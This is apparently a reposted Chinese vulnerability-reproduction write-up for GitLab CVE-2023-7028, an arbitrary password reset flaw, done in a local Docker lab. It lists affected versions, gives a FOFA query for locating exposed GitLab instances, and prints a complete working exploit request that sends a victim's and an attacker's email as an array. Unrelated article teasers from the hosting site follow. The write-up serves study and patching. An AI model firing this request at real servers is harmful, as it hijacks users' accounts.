漏洞复现--GitLab 任意用户密码重置漏洞(CVE-2023-7028)

免责声明:

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

一:漏洞描述

2024年1月11日,Gitlab 官方披露 CVE-2023-7028,GitLab 任意用户密码重置漏洞,官方评级严重。攻击者可利用忘记密码功能,构造恶意请求获取密码重置链接从而重置密码。官方已发布安全更新,建议升级至最新版本,若无法升级,建议利用安全组功能设置Gitlab 仅对可信地址开放。

二:漏洞影响版本

16.1 <=GitLab CE<16.1.6
16.2 <=GitLab CE<16.2.8
16.3 <=GitLab CE<16.3.6
16.4 <=GitLab CE<16.4.4
16.5 <=GitLab CE<16.5.6
16.6 <=GitLab CE<16.6.4
16.7 <=GitLab CE<16.7.2
16.1 <=GitLab EE<16.1.6
16.2 <=GitLab EE<16.2.8
16.3 <=GitLab EE<16.3.6
16.4 <=GitLab EE<16.4.4
16.5 <=GitLab EE<16.5.6
16.6 <=GitLab EE<16.6.4
16.7 <=GitLab EE<16.7.2

三:网络空间测绘查询

fofa:
app="GitLab"
image.png

四:漏洞复现

由于此漏洞利用条件为需获取系统已有用户注册邮箱地址,此次复现在本地搭建docker环境复现。
image.png
访问找回密码页面:/users/password/new,输入目标邮箱,抓包
image.png
image.png
POC:
user[email][]=mubiao@email.com&user[email][]=attacker@email.com
构造数据包,注意authenticity_token字段每次是不同的

POST /users/password HTTP/1.1
Host: 192.168.200.130:9980
Content-Length: 175
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.200.130:9980
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.200.130:9980/users/password/new
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: preferred_language=zh_CN; 16.5.4-hide-alert-modal=true; known_sign_in=YlhGQWZqemF5Ri90bGh3WkZKdmQ0amtrSTVJdmtSTXRycWxQRjB3Tm1aTDczTnpmaGVLY1JPanZEdENQV3FRNmVsS3FWOG5YQzJIK2tpMytwMVV4MnZ1YlhUZFZzK2xHVVZ6TlAxWlJicjBDdmovdWpXVng1RzBYMlVtbENHV0ktLUhqYnNYM2pDM3pOdk1wN2wraGJLNVE9PQ%3D%3D--0ca69ec494c505a0cfec65e71a8c2315e444fcff; _gitlab_session=95c98f8c215016ce1c31bcd676c8c9d0
Connection: closeauthenticity_token=XK1-wmJyvT2Jre1VEQ2ufEmR2GmsSju99_kJRgczjgIJArZH5yT2h44izgBfX0x0OW9VLtQbUz2yt9w--1wNag&user%5Bemail%5D=mubiao%40email.com&user%5Bemail%5D=attacker@email.com

image.png
跟随重定向
image.png
可以看到提示,如果两个邮箱都成功注册过,那么攻击者邮箱将会收到目标用户的重置密码邮件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/622544.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【MySQL】多表查询 综合练习

多表查询笔记 综合练习 # 1.显示所有员工的姓名&#xff0c;部门号和部门名称。 SELECT e.last_name,e.department_id,d.department_name FROM employees e LEFT JOIN departments d ON e.department_id d.department_id;SELECT e.last_name,e.department_id,d.department…

class_4:car类

#include <iostream> using namespace std; class Car{ public://成员数据string color; //颜色string brand; //品牌string type; //车型int year; //年限//其实也是成员数据&#xff0c;指针变量&#xff0c;指向函数的变量&#xff0c;并非真正的成员函数void (*…

Win10(CPU)+ Anaconda3 + python3.9安装pytorch

1. 安装Anaconda3 1.1 下载Anaconda3 可以在官网下载Anaconda3-2022.05-Windows-x86_64.exe&#xff0c;这个版本对应的是python3.9。 1.2 安装Anaconda3 此步骤比较简单&#xff0c;双击.exe文件&#xff0c;一步一步执行即可&#xff0c;有不确定的可以自行百度&#xff…

BM25(Best Matching 25)算法基本思想

BM25&#xff08;Best Matching 25&#xff09;是一种用于信息检索&#xff08;Information Retrieval&#xff09;和文本挖掘的算法&#xff0c;它被广泛应用于搜索引擎和相关领域。BM25 基于 TF-IDF&#xff08;Term Frequency-Inverse Document Frequency&#xff09;的思想…

使用Spring Boot集成中间件:Elasticsearch基础->提高篇

使用Spring Boot集成中间件&#xff1a;Elasticsearch基础->提高篇 导言 Elasticsearch是一个开源的分布式搜索和分析引擎&#xff0c;广泛用于构建实时的搜索和分析应用。在本篇博客中&#xff0c;我们将深入讲解如何使用Spring Boot集成Elasticsearch&#xff0c;实现数…

C++ 对象模型 | 关于对象

一、C 对象模型 1、对象内存布局 在C中&#xff0c;有两种数据成员&#xff1a;static和nonstatic&#xff0c;以及三种成员方法static、nonstatic、virtual&#xff0c;下面从虚函数、非虚函数、静态成员变量、非静态成员变量等维度来分析&#xff0c;类对象的内存布局。例如…

多线程(1)

1.实现多线程 1.1简单了解多线程【理解】 是指从软件或者硬件上实现多个线程并发执行的技术。具有多线程能力的计算机因有硬件支持而能够在同一时间执行多个线程&#xff0c;提升性能。 1.2并发和并行【理解】 并行&#xff1a;在同一时刻&#xff0c;有多个指令在多个CPU上…

【打卡】牛客网:BM87 合并两个有序的数组

思想&#xff1a; 简单粗暴的方法是先合并、再排序。没有技术含量。 此外&#xff0c;很容易想到是用归并方法。问题是对A[]从前往后赋值&#xff0c;会覆盖A[]中有用的数值。 模板的巧妙之处是&#xff0c;从后往前赋值&#xff0c;完美避开覆盖问题。 我看了模板的之后写…

js let和var的区别

在JavaScript中&#xff0c;let和var都是用来声明变量的关键字&#xff0c;但它们之间存在一些重要的区别&#xff1a; 作用域&#xff1a;var声明的变量具有函数作用域或全局作用域&#xff0c;这意味着它们的作用域范围在函数内或全局范围内。相比之下&#xff0c;let声明的…

Centos创建一个Python虚拟环境

在 CentOS 上创建一个 Python 虚拟环境&#xff0c;可以使用 virtualenv 工具。以下是创建和激活虚拟环境的基本步骤&#xff1a; 1.安装virtualenv 如果还没有安装 virtualenv&#xff0c;可以使用以下命令安装&#xff1a; sudo yum install python3-virtualenv请注意&…

聚道云软件连接器助力知名企业,提升合同管理效率

一、客户介绍 某服饰股份有限公司是一家集服装设计、生产、销售及品牌建设于一体的企业。该公司的产品线涵盖男装、女装、童装等多个领域&#xff0c;设计风格时尚、简约、大方&#xff0c;深受消费者喜爱。公司注重产品研发&#xff0c;不断推陈出新&#xff0c;紧跟时尚潮流…

【linux笔记】vim

【linux笔记】vim 启动和退出 启动 vi退出 q强制退出 q&#xff01;编辑模式 vi foo.txt创建一个文件&#xff0c;启动后&#xff0c;是命令模式&#xff0c;是不能编辑的&#xff0c;键盘上的按键对应不同的命令。 插入模式 按键盘上的i&#xff0c;进入插入模式 保…

Redis(概述、应用场景、线程模式、数据持久化、数据一致、事务、集群、哨兵、key过期策略、缓存穿透、击穿、雪崩)

目录 Redis概述 应用场景 Redis的线程模式 数据持久化 1.Rdb&#xff08;Redis DataBase&#xff09; 2.Aof&#xff08;Append Only File&#xff09; mysql与redis保持数据一致 redis事务 主从复制&#xff08;Redis集群) 哨兵模式 key过期策略 缓存穿透、击穿、…

剑指offer面试题5 从尾到头打印链表

考察点 链表知识点 数组和链表都属于线性表。线性表在计算机中有俩种存储方式&#xff0c;按照顺序存储的就是数组&#xff0c;按照链式存储的就是链表&#xff0c;二者最大的区别在于一个是顺序存储(地址空间连续)一个是链式存储(地址空间不连续)。因此数组元素只包含元素值…

iToF wiggling校正技术

iToF技术中,wiggling是一种校正处理方法。在iToF模组获取深度图后,会进行一系列的补偿和校正处理,wiggling校正就是其中之一。这样的校正处理有助于最终获得更准确的3D数据。 wiggling校正技术有哪些应用场景 wiggling校正技术主要应用在间接飞行时间测量(iToF)装置中,…

【大厂秘籍】 - Java多线程面试题

Java多线程面试题 友情提示&#xff0c;看完此文&#xff0c;在Java多线程这块&#xff0c;基本上可以吊打面试官了 线程和进程的区别 进程是资源分配的最小单位&#xff0c;线程是CPU调度的最小单位 线程是进程的子集&#xff0c;一个进程可以有很多线程&#xff0c;每条线…

分享八个常用的 JavaScript 库

今天给大家分享8个常用的 JavaScript 库&#xff0c;掌握这些 JavaScript 工具库&#xff0c;让你的项目看起来很棒。 专家与普通人的重要区别在于他们善于使用工具&#xff0c;留出更多的时间用于计划和思考。编写代码也是如此。有了合适的工具&#xff0c;你就有更多的时间来…

UDS 诊断通讯

UDS有哪些车型支持 UDS(统一诊断服务)协议被广泛应用于汽车行业中,支持多种车型。具体来说,UDS协议被用于汽车电子控制单元(ECU)之间的通讯,以实现故障诊断、标定、编程和监控等功能。 支持UDS协议的车型包括但不限于以下几种: 奥迪(Audi)车型:包括A3、A4、A5、A6…

239.【2023年华为OD机试真题(C卷)】求幸存者之和(模拟跳数-JavaPythonC++JS实现)

🚀点击这里可直接跳转到本专栏,可查阅顶置最新的华为OD机试宝典~ 本专栏所有题目均包含优质解题思路,高质量解题代码(Java&Python&C++&JS分别实现),详细代码讲解,助你深入学习,深度掌握! 文章目录 一. 题目-求幸存数之和二.解题思路三.题解代码Python题解…

剑指offer题解合集——Week3day7

文章目录 剑指offerWeek3周七&#xff1a;分行从上往下打印二叉树AC代码思路&#xff1a; 周日&#xff1a;之字形打印二叉树AC代码思路&#xff1a; 剑指offerWeek3 周七&#xff1a;分行从上往下打印二叉树 题目链接&#xff1a;分行从上往下打印二叉树 从上到下按层打印…